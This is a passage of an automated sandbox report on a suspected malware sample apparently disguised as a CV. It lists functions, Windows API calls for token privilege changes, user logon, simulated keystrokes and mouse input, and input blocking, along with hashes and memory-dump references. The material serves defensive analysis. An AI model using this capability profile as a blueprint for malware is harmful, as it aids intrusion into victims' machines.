                                                                  • API String ID: 1682464887-0
                                                                  • Opcode ID: 2159ff909a8a4a72f1b54e62cfdbe5477f5580846866661d8333750c2ca849ec
                                                                  • Instruction ID: 954f1334fea68184a22c9d6b4f7cefd247874ccaa39478de99399b83f6186a39
                                                                  • Opcode Fuzzy Hash: 2159ff909a8a4a72f1b54e62cfdbe5477f5580846866661d8333750c2ca849ec
                                                                  • Instruction Fuzzy Hash: C3213D35A00218EFCB00EFA5D895AADFBF8FF49310F1484A9E945A7251DB35D905CB54
                                                                  Function 00B5B134 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3F4EA: std::exception::exception.LIBCMT ref: 00B3F51E
                                                                    • Part of subcall function 00B3F4EA: __CxxThrowException@8.LIBCMT ref: 00B3F533
                                                                  • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B5B180
                                                                  • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B5B1AD
                                                                  • GetLastError.KERNEL32 ref: 00B5B1BA
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                                  • String ID:
                                                                  • API String ID: 1922334811-0
                                                                  • Opcode ID: 35fb9258b4f83ce5929b094a0c5fdfd329a504c7e815d727fcb3e27f3b667d74
                                                                  • Instruction ID: 1a0aad83b705ba76ce517b019c40cef779bc35efc9f1980321a2704c52f91d05
                                                                  • Opcode Fuzzy Hash: 35fb9258b4f83ce5929b094a0c5fdfd329a504c7e815d727fcb3e27f3b667d74
                                                                  • Instruction Fuzzy Hash: 1211BFB1810605AFE7289F54DCC6D2BB7EDEF44311B2085AEE456A7240DB70FC458B60
                                                                  Function 00B66685 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00B666AF
                                                                  • DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,0000000C,?,00000000), ref: 00B666EC
                                                                  • CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00B666F5
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CloseControlCreateDeviceFileHandle
                                                                  • String ID:
                                                                  • API String ID: 33631002-0
                                                                  • Opcode ID: b75b5fc9d4113bd40d7bf2b0fab62c727d3ebb6b0317bcd69757069a8df4d9c7
                                                                  • Instruction ID: 55b8daffe5a62df4872e7fa825366b9d1bc9fb994376a3274cb01b55cbc881e9
                                                                  • Opcode Fuzzy Hash: b75b5fc9d4113bd40d7bf2b0fab62c727d3ebb6b0317bcd69757069a8df4d9c7
                                                                  • Instruction Fuzzy Hash: A811A5B1D00228BEE7108BA8DC45FBFB7FCEB05714F004555F901E7190C2789E0487A5
                                                                  Function 00B671FA Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00B67223
                                                                  • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00B6723A
                                                                  • FreeSid.ADVAPI32(?), ref: 00B6724A
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                  • String ID:
                                                                  • API String ID: 3429775523-0
                                                                  • Opcode ID: 73e57baac5b4083a1926a8b16c40634f8c9abffc9a937fccc8ef9374bfce44cd
                                                                  • Instruction ID: 84367d8fcf1c8ca648377528e7ad0e87faa6b10a48104e6c2d6384e97597283e
                                                                  • Opcode Fuzzy Hash: 73e57baac5b4083a1926a8b16c40634f8c9abffc9a937fccc8ef9374bfce44cd
                                                                  • Instruction Fuzzy Hash: E1F01D76A44209BFDF04DFF4DD9AAEEBBB8FF09305F104469A602E3591E7749A448B10
                                                                  Function 00B6F56F Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • FindFirstFileW.KERNEL32(?,?), ref: 00B6F599
                                                                  • FindClose.KERNEL32(00000000), ref: 00B6F5C9
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Find$CloseFileFirst
                                                                  • String ID:
                                                                  • API String ID: 2295610775-0
                                                                  • Opcode ID: 2b56946a7b0dc2c52c4fbdcfe6bd43dc1e5356e1e6eeb47f7770dfdeecc768ae
                                                                  • Instruction ID: 8f1cd11a60f2806cbc5d3ea83ed77917d834de2424b3f7e886598d8f8161f94d
                                                                  • Opcode Fuzzy Hash: 2b56946a7b0dc2c52c4fbdcfe6bd43dc1e5356e1e6eeb47f7770dfdeecc768ae
                                                                  • Instruction Fuzzy Hash: C111C8316002009FD700EF28D845A2EB7E5FF99324F00855EF8AAD7291CF34AD048B85
                                                                  Function 00B6CE7A Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00B7BE6A,?,?,00000000,?), ref: 00B6CEA7
                                                                  • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00B7BE6A,?,?,00000000,?), ref: 00B6CEB9
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorFormatLastMessage
                                                                  • String ID:
                                                                  • API String ID: 3479602957-0
                                                                  • Opcode ID: 9df92356169b92c905f64161abca1091ce18d8dfce3238bcb5508a95a5ed1481
                                                                  • Instruction ID: 2455e7090f5a79492442e316b4b03f023424b410a63a337bf8c7cff04b569c8d
                                                                  • Opcode Fuzzy Hash: 9df92356169b92c905f64161abca1091ce18d8dfce3238bcb5508a95a5ed1481
                                                                  • Instruction Fuzzy Hash: CFF08231500229EBDB10ABA4DC49FFA77ADFF09351F0041A5F919D7181D670AA40CFA0
                                                                  Function 00B6411C Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00B64153
                                                                  • keybd_event.USER32(?,753DC0D0,?,00000000), ref: 00B64166
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: InputSendkeybd_event
                                                                  • String ID:
                                                                  • API String ID: 3536248340-0
                                                                  • Opcode ID: 11515464347e5da5eee0fca7b2793d1c45bb0dee936a42fcad60e3ce62cf5bb7
                                                                  • Instruction ID: 74cef18fe580a30ecfa65eb85596623ba16ecf50947bc2ba868fae2eeb50e9db
                                                                  • Opcode Fuzzy Hash: 11515464347e5da5eee0fca7b2793d1c45bb0dee936a42fcad60e3ce62cf5bb7
                                                                  • Instruction Fuzzy Hash: 23F0677080024DAFDB058FA0C806BBE7FB0EF11305F00804AF966A6192D77986129FA0
                                                                  Function 00B5AB84 Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B5ACC0), ref: 00B5AB99
                                                                  • CloseHandle.KERNEL32(?,?,00B5ACC0), ref: 00B5ABAB
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AdjustCloseHandlePrivilegesToken
                                                                  • String ID:
                                                                  • API String ID: 81990902-0
                                                                  • Opcode ID: 3e610f630afb6d36fb10e0f7a37d1246f66b9bd8c5f1ad82282dc66273764295
                                                                  • Instruction ID: ebd5ec44a9d927fd1d33837a4acf3914bcbd510158d1e43010f038fcc4c6699d
                                                                  • Opcode Fuzzy Hash: 3e610f630afb6d36fb10e0f7a37d1246f66b9bd8c5f1ad82282dc66273764295
                                                                  • Instruction Fuzzy Hash: 76E0E675400511AFE7252F54EC05D777BE9EF04321B218969F85B81870DB625C90DB54
                                                                  Function 00B481AC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SetUnhandledExceptionFilter.KERNEL32(00000000,0000000E,00B46DB3,-0000031A,?,?,00000001), ref: 00B481B1
                                                                  • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00B481BA
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ExceptionFilterUnhandled
                                                                  • String ID:
                                                                  • API String ID: 3192549508-0
                                                                  • Opcode ID: b95f5269c68ac6a5eb4a0b7b6aae25e31705b572b7c9eda6d3bdb6616fab222a
                                                                  • Instruction ID: f6285435e83da209eeb7365dfca9dc7a640ce6c4f664354c6f011d49ddc8c1db
                                                                  • Opcode Fuzzy Hash: b95f5269c68ac6a5eb4a0b7b6aae25e31705b572b7c9eda6d3bdb6616fab222a
                                                                  • Instruction Fuzzy Hash: 94B09231144608ABDF002BA1EC0AB587FA8EB0A652F004010F60E468618F7254108B9A
                                                                  Function 00B277B0 Relevance: 2.6, APIs: 1, Instructions: 1076COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _memmove
                                                                  • String ID:
                                                                  • API String ID: 4104443479-0
                                                                  • Opcode ID: 7190792430d0b9cfa9d2fb4528ed0760facb8d174448e6cd24f5bf81e56e24a7
                                                                  • Instruction ID: 552760ff9285703786805fc11590d40730f54b6f0c343b643d42ec27208841b5
                                                                  • Opcode Fuzzy Hash: 7190792430d0b9cfa9d2fb4528ed0760facb8d174448e6cd24f5bf81e56e24a7
                                                                  • Instruction Fuzzy Hash: 05A24A74E05229CFCB24CF68D4806ADBBF1FF49314F2581A9D859AB390DB349E81DB94
                                                                  Function 00B4D1B9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: e1ce0958c2673e6d7b10803561d85cde562bb456e6547fa71145be0d65abe2ad
                                                                  • Instruction ID: 8ae0d56915c138e17bf7a1ca23f7715955d48c3a0ec0deb844adb706fc723c85
                                                                  • Opcode Fuzzy Hash: e1ce0958c2673e6d7b10803561d85cde562bb456e6547fa71145be0d65abe2ad
                                                                  • Instruction Fuzzy Hash: 98322621D29F014ED7239635DC62336A288EFB73D4F15D737E819B6AA6EF29C9835100
                                                                  Function 00B296C0 Relevance: 2.1, APIs: 1, Instructions: 573COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __itow__swprintf
                                                                  • String ID:
                                                                  • API String ID: 674341424-0
                                                                  • Opcode ID: dc9d8dd67095acc4359c41c47b581bf6b57314080659f7d3813de898258ccca4
                                                                  • Instruction ID: 2055935287b15736dc73f93b9aa209ab13c1e7ce6a48d136d66e8014f54a1fbb
                                                                  • Opcode Fuzzy Hash: dc9d8dd67095acc4359c41c47b581bf6b57314080659f7d3813de898258ccca4
                                                                  • Instruction Fuzzy Hash: AF2299716083119FDB24DF14D890B6BBBE4EF88310F1049ADF89E9B291DB71E944CB92
                                                                  Function 00B5038E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 6490fd8c1d0e6cf91805aff87e3b1532afe0d0611046a2fa3dea78f9b2682da2
                                                                  • Instruction ID: 389cb13ed6b585010e7b35f570ccc9403a9abfdf1ade10dadea904b931f3a710
                                                                  • Opcode Fuzzy Hash: 6490fd8c1d0e6cf91805aff87e3b1532afe0d0611046a2fa3dea78f9b2682da2
                                                                  • Instruction Fuzzy Hash: 39B1F220D2AF414ED323A6398871336B69CAFBB3D5F91D71BFC1A75D22EB6185834181
                                                                  Function 00B6B6CC Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __time64.LIBCMT ref: 00B6B6DF
                                                                    • Part of subcall function 00B4344A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00B6BDC3,00000000,?,?,?,?,00B6BF70,00000000,?), ref: 00B43453
                                                                    • Part of subcall function 00B4344A: __aulldiv.LIBCMT ref: 00B43473
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Time$FileSystem__aulldiv__time64
                                                                  • String ID:
                                                                  • API String ID: 2893107130-0
                                                                  • Opcode ID: fd24db5b7481df5a9d410a74c9b07b86cca7020a40bb03b29ea13dce2c295848
                                                                  • Instruction ID: 7a54f4f44e9b35713223f3c35bbdb1bd231e267945c8ba8d655dc0ec5d9b05a6
                                                                  • Opcode Fuzzy Hash: fd24db5b7481df5a9d410a74c9b07b86cca7020a40bb03b29ea13dce2c295848
                                                                  • Instruction Fuzzy Hash: F92160726345118BC729CF28C491EA2B7E1EB95710B248EADE4E5CF2C0CB78AA45DB54
                                                                  Function 00B76AAF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • BlockInput.USER32(00000001), ref: 00B76ACA
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BlockInput
                                                                  • String ID:
                                                                  • API String ID: 3456056419-0
                                                                  • Opcode ID: 4eae859b8ea2907b1dd4f6a65e4dd469cc845322fc6a5e1523a2ab7b63fb74d4
                                                                  • Instruction ID: c04ae721ea2b207d9875c3c9a1f475f467554650d2feec60d9a459d25f02db9d
                                                                  • Opcode Fuzzy Hash: 4eae859b8ea2907b1dd4f6a65e4dd469cc845322fc6a5e1523a2ab7b63fb74d4
                                                                  • Instruction Fuzzy Hash: 49E01235200214AFC700EB59D405956B7ECEF64751F04C856E949D72A1DAB0E8048BA0
                                                                  Function 00B674BB Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00B674DE
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: mouse_event
                                                                  • String ID:
                                                                  • API String ID: 2434400541-0
                                                                  • Opcode ID: c723aede9e166dc13ad3a542b029dd8e67eeb45980d89e2151afce6e2bc85a6a
                                                                  • Instruction ID: 226476a683d1863a212b7fc813bfddd52344211766f37e11eec21e31a4174487
                                                                  • Opcode Fuzzy Hash: c723aede9e166dc13ad3a542b029dd8e67eeb45980d89e2151afce6e2bc85a6a
                                                                  • Instruction Fuzzy Hash: FFD05EA06ED30538FC2807248C0FF7A19C8F3007C8F8082C9B082CA6C1FC885801A132
                                                                  Function 00B5B106 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00B5AD3E), ref: 00B5B124
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: LogonUser
                                                                  • String ID:
                                                                  • API String ID: 1244722697-0
                                                                  • Opcode ID: 404d014534f0f972255f9b693a2343181c1d4f5ed4a8c3072a7a25749bff5cc9
                                                                  • Instruction ID: a1083c90f5c4ad6852cbfd7de61e796377ee2d8278d294ada904792f14095933
                                                                  • Opcode Fuzzy Hash: 404d014534f0f972255f9b693a2343181c1d4f5ed4a8c3072a7a25749bff5cc9
                                                                  • Instruction Fuzzy Hash: 46D05E320A460EAEDF024FA4DC02EAE3F6AEB04700F408110FA12C60A0C671D531AB50
                                                                  Function 00B9B340 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
